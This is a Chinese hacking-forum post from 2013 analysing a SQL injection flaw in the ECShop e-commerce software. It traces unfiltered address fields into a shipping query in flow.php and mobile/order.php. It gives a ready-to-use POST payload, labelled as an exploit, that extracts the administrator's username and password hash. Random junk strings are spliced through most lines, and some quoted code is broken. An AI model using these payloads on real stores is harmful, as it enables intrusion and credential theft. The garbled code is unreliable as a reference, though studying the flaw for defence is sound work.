找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2128|回复: 0
打印 上一主题 下一主题

ecshop全版本注入分析

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-13 09:48:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。
. e# h4 C; }" D9 e, z: E4 V) e
& d& R$ H6 J, \) ]/ p    漏洞关键文件:4 [5 u; m  H: v# c1 Z4 G
1 H3 X" {- H+ |5 ~0 O( o
    /includes/lib_order.php
$ \/ _" H, D" M1 _2 ^( ^
8 g4 P( m. {& q& g$ q    关键函数:
- M  A* ^( }8 _% t; l
' y# ]( X, @" u3 }) o8 M( G " r- Y7 K, r, f7 n% W

. r- L$ v7 i- `: K01     function available_shipping_list($region_id_list)
$ R. G. Z8 G+ V
3 _7 E" K" q* a( J02 {
( J+ |* Z% t1 W5 g, F; ~2 z  ?7 j! j- `
9 p, {- @' l* ?  [03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
; ]( Z; F( z2 S' [6 m/ ~$ E" [) Y* W1 b/ U$ h
04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
5 ?5 }: ]1 c4 w" w9 k$ ~2 l8 I: [3 _+ c: [/ m. c
05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
9 h9 V7 M) c* \$ z4 L* g1 V, `, p6 h0 W8 l! y& u
06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . ) P1 i. Y, M# C" B- m9 W" P/ n0 o$ z

' [4 [: o) D# |- w# X3 Q4 {  \- d07                 $GLOBALS['ecs']->table('area_region') . ' AS r '. 2 y* N" C" |. S
" ?8 q5 H! _# J
08             'WHERE r.region_id ' . db_create_in($region_id_list) .
1 @7 \7 K3 K5 T8 y& e& F- u$ y: i6 F
09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order'; - [1 g" \& X& v  V: [

) N2 y4 {2 p% n) s) P2 x4 O10   
4 s3 x! n5 Z& P( u  t9 c$ |7 N* [7 H5 \9 A
11     return $GLOBALS['db']->getAll($sql); + f0 J+ [( n% {3 v5 d1 W
, K9 g- X- E4 G( c) z- U4 n
12 }
6 B2 M5 ]: [4 e! Q
, }3 {' u. a/ j, |+ J/ z显然对传入的参数没有任何过滤就带入了查询语句。9 ]% C6 d6 m& C$ g9 T

# {, H7 i  y0 v. ~0 @; T下面我们追踪这个函数在flow.php中:6 W. |4 i& X- [4 k7 o: U
第531行:   
  ~. u# b  `! _+ Z& o' N+ @, [7 p9 d1 q
1 $shipping_list     = available_shipping_list($region); + i1 X$ g5 |4 v* ~, q: P3 r: t2 F

1 |# Q! R$ a! @9 ] ) X5 |# |# o1 @: K! U

% X" F2 O( C" w* g
; x$ v+ s' K) H2 e/ g8 j5 M% S! s; `- p) Y6 }. E$ o- B
再对传入变量进行追踪:
, u' o5 J" n) @9 z
( J) R$ a$ L6 ~  F  v第530行:    / ~; N: W/ Z' B$ g( a: l$ O! R
, E/ N- K7 o- t1 V4 K5 ~5 \. I
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
+ M  w  i+ N# y& G) _) l5 b1 Q
- u; S3 {" h! ~

5 x% h) y1 M; b+ `* _+ d
7 O/ w2 j7 m/ i. k
) \% j5 W* {8 L第473行:        9 T( b) {& G* u  M
$ X) O+ T! Y+ R( A5 a
1 $consignee = get_consignee($_SESSION['user_id']); % b! I( U3 b+ L9 T: o4 n) y

4 [- A* t2 H' }到了一个关键函数:
! @1 u9 `- @0 N  H0 {- [) O, n3 ^. V
/includes/lib_order.php
. @  w! Y( \* A3 H, X) x$ z
9 q% V0 _. q' l+ t" |
( h+ ^3 g- T6 f- Z5 Z  l/ P8 l8 c, n4 {. y3 v: z9 D9 Y

) u% p5 T0 h: U9 Y2 r9 W" p2 N% C
2 @. ?/ _. l1 ]& }( w1 N- \01 function get_consignee($user_id) 9 @: ~& p+ J$ s2 m) K: ~+ L
' B  L3 d9 z- o* p9 _% z
02 {
) i" f1 S# |3 T& y
, ?6 ?+ t& P" v* t& h, P( ]/ D03     if (isset($_SESSION['flow_consignee'])) - L! @6 r$ `  ?% P3 W& H+ l
. {- ?' z, X1 p% I: ]& ~$ a" e
04     { # {5 \' F$ E+ [1 P" Z$ z$ f
8 X/ g5 ~  b7 P  ^( ~
05         /* 如果存在session,则直接返回session中的收货人信息 */ 5 v  _7 E9 S* K; F

0 |* a' m4 `: p" N06   
6 H6 v8 D' {& C" s* P( x, W; ~" B# N. W, N( @* p
07         return $_SESSION['flow_consignee']; - \! M3 `+ z2 ~$ S

1 ~/ j! n7 R7 L: ]! J08     }
9 P3 a6 ]+ |# q. b* ~) {2 o; S& q/ H5 S9 i  N
09     else
2 @% I* ?4 b" A6 L. ?. S. p* K6 `) o4 ^! m  f4 a3 T
10     {
- y4 Y6 y, `4 Q( p2 Z! |( X- `$ w+ X0 R+ v1 R0 p
11         /* 如果不存在,则取得用户的默认收货人信息 */ / o* }  h. V5 u

0 A: I4 Q! v# ?12         $arr = array(); , r: ]! m- X- I, g" ?7 U7 g* ~+ E
( ^' u  x) S, y/ t! T3 c
13   
& q2 A- `- r) \: u% q& Y% \. X0 `2 J& d. E" N$ g3 M
14         if ($user_id > 0)
! _5 @4 v" U+ |8 ]
+ A1 d9 n9 [# w$ N15         {   w$ c* [/ _; Z
' C! A5 W6 `8 ]
16             /* 取默认地址 */ 9 D+ \5 n6 U8 p  i* z8 M& t# P& Q

5 x) }% B, @& j% f. Q17             $sql = "SELECT ua.*". ; N! p' A. J/ {$ d5 N

$ W$ l( [2 h. i1 Y4 I18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '. $ Q* P5 l6 W1 N7 P- e4 E# U

/ Q  |( X9 f( K19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
+ X$ L4 b; g0 F. L4 ]$ L% `% b1 N) y4 m( u8 k6 \, A( ]# }
20   ' ~$ @( \* i0 M, v! S

5 u: j% `+ E$ f0 X) `/ C21             $arr = $GLOBALS['db']->getRow($sql); ; c+ W6 W: L% ~

3 j/ p8 w4 I- s3 U; _7 `; Y- N$ b/ _22         } 8 X+ {, v, k; H
" e# t0 T3 C, u2 l6 \$ J' G  a! ^
23   * `6 m) L" i8 m3 O
" k0 @  I; v6 k0 A8 e
24         return $arr; 2 B% k! j/ X) T9 Y7 t

- V2 R- A$ ^1 ^+ t0 o25     }
' B6 N( m2 `: w+ a
4 c5 }" H* T# w+ t' o- \: I26 } . U2 ~7 N0 W8 d7 ?& l  u# k' Q
2 b9 K- t/ U* F4 U4 Y3 K
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?
2 h1 V; y9 ]! g$ N0 N# F* |( w7 v3 E
; }# Z7 K6 {* `' S
' n. ?  u7 e/ x
关键点:
, \; U* z; M' R  ^7 O: X+ f6 O
4 c9 L8 S( \3 T; C8 ^* a第400行:    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
5 R+ \2 W& V; e* `* U6 T5 p" ~7 V4 j, @. D
这里对传入参数反转义存入$_SESSION中。
$ J' F% d0 L6 B( a- v$ {
& P) P1 v& Y4 f1 z$ ^; o
! P# C6 O3 [( o* M8 ]3 \% H0 V, X: F4 m  c0 B3 G& |/ F3 E/ ]7 d
然后看下:
: U( P& z" |6 x+ o1 W+ n! W; j, q- M& W
. Y" L$ P0 _! @7 \
% _& {/ D* }9 h! Q: |
    / d! `1 g# A3 U
- A, a8 x9 ^- r; S. i
01 $consignee = array( 8 a3 r- b* e5 g. L3 j) W5 T9 R
0 s5 h2 b- F+ m2 g
02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),
% n8 N2 j& h3 E. }1 Z# B) @$ f2 @$ `7 J
03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),
5 T3 }* y3 S  s1 B4 i6 M6 {+ I# e3 o2 t6 x8 o. X
04         'country'       => empty($_POST['country'])    ? '' _POST['country'], 8 L% ^/ f# z$ ?3 M7 n

. D$ B! t; l3 j3 \+ c0 s& d' O: ?05         'province'      => empty($_POST['province'])   ? '' _POST['province'], . R6 G6 j6 \4 s  _

& ~9 l& x7 b+ m$ [. r; H# k7 F06         'city'          => empty($_POST['city'])       ? '' _POST['city'],
) f- y- V* d  N
! @& |+ ^  s4 O* @- M07         'district'      => empty($_POST['district'])   ? '' _POST['district'],
8 Q6 @# @8 v2 t% h6 p% |, P% }% ^
08         'email'         => empty($_POST['email'])      ? '' _POST['email'], # M5 X5 H# Y* c. U& U8 J

. R7 V  ~3 u! k+ e, W09         'address'       => empty($_POST['address'])    ? '' _POST['address'], . V# ~/ `3 `. {
. V+ w/ R  f  h+ Y* T, h
10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])), ) u. q+ s8 Y/ f/ L

# r: j0 J% ^( f8 l11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])), 1 W8 @( _4 w  e: R: w! X1 }

& {1 T% q$ ]$ m* v% e" A12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])), ! n6 Z: T. Z+ ]8 G1 C

$ G  `/ \& C- n13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
* f% o2 C, e: ]# X# T& L# S. c2 U) J) V+ r. Y4 `; `& V" S
14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],
, q* F; ]; i$ `! _* m" a; N, H/ _+ f! ^* D3 O/ S
15     ); ! T! A2 i; i4 V: f
" y( U7 Z( z; b3 q
好了注入就这样出现了。' m# w/ e" w+ e( j, I: S1 ~, S

/ G2 ^8 T- d; c3 ?' J==================
' E  y- F9 p& {, @( a
; Z* W. T6 r+ {; i. z$ Q! w. r& e注入测试:
' ^& Y7 b. W3 n! g& o2 J5 q/ a
8 h' b- E% P$ i, @$ T' O9 A环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)" {6 ?/ R, v& N, S! p
$ N" R% Q9 p# ?* _7 }3 \
测试程序:ECShop_V2.7.3_UTF8_release1106
  f$ g' o& Q4 _( l6 S& c. E5 a
2 g, p% F5 m% G, `$ [ ( W- M* a2 T" Q1 y7 p0 V2 ^
0 i! V+ ?9 W$ m8 ?1 j; o' D
1.首先需要点击一个商品加入购物车
( K) i* T7 M+ l8 j. q# G7 P
5 A7 ^2 v3 [! g( _! v/ B2.注册一个会员帐号
- A) A: T& u: v: O1 F' q0 N
8 o. s! {1 L2 c5 f4 b( w! @3.post提交数据
; f6 U, U& [- D
% w- I; j4 N, X
3 X/ |4 |! z/ r7 I$ P6 q  e( U. l$ u/ @* W8 m( z5 a' k6 h
1 http://127.0.0.1/ecshop/flow.php 4 G6 G* e1 i$ b7 I* r: h" o
6 I' P3 R  n/ O+ a
2   
  i& g6 r+ G  ~, E
; r. ~$ I0 U6 `3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=   S3 T. V$ F9 X- x! b/ ?# O
举一反三,我们根据这个漏洞我们可以继续深入挖掘:
+ a2 X& x3 Q9 q! j3 B* h( T& y/ c. Y  f( S* T
我们搜寻关键函数function available_shipping_list()3 e) w  m  ~9 M6 U9 x( @
1 R5 q& b% \( B! ~1 h& j" G
在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同' z1 Q3 J, ]& Z/ Q' K  D
4 P. \7 E4 b/ N9 Y/ A! [
利用exp:; F- }% _+ g! m& d; y- ?7 ?$ C
+ f" ^: K  l# [6 I
1.点击一个商品,点击购买商标
3 h6 n" `  ]2 v+ X; M
  k) h; c+ c1 }2.登录会员帐号& U4 b) F& g8 J
5 p/ F. G/ R" t( B+ ^, H0 {
3.post提交:
) h. }) W' J8 @) V  X
: ~2 n7 ?+ i- d( N. H& D2 v6 vhttp://127.0.0.1/ecshop/mobile/order.php
# D3 M7 X0 n( P" `" ], w( H
% t# |# T$ m' @+ S5 U4 f
% b% ]- X/ ~0 `3 a2 x
4 L; J" }* a8 s- k0 ]" Wcountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=' Z, T. M! r/ s# ]

) I$ M. A! {7 l6 L
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表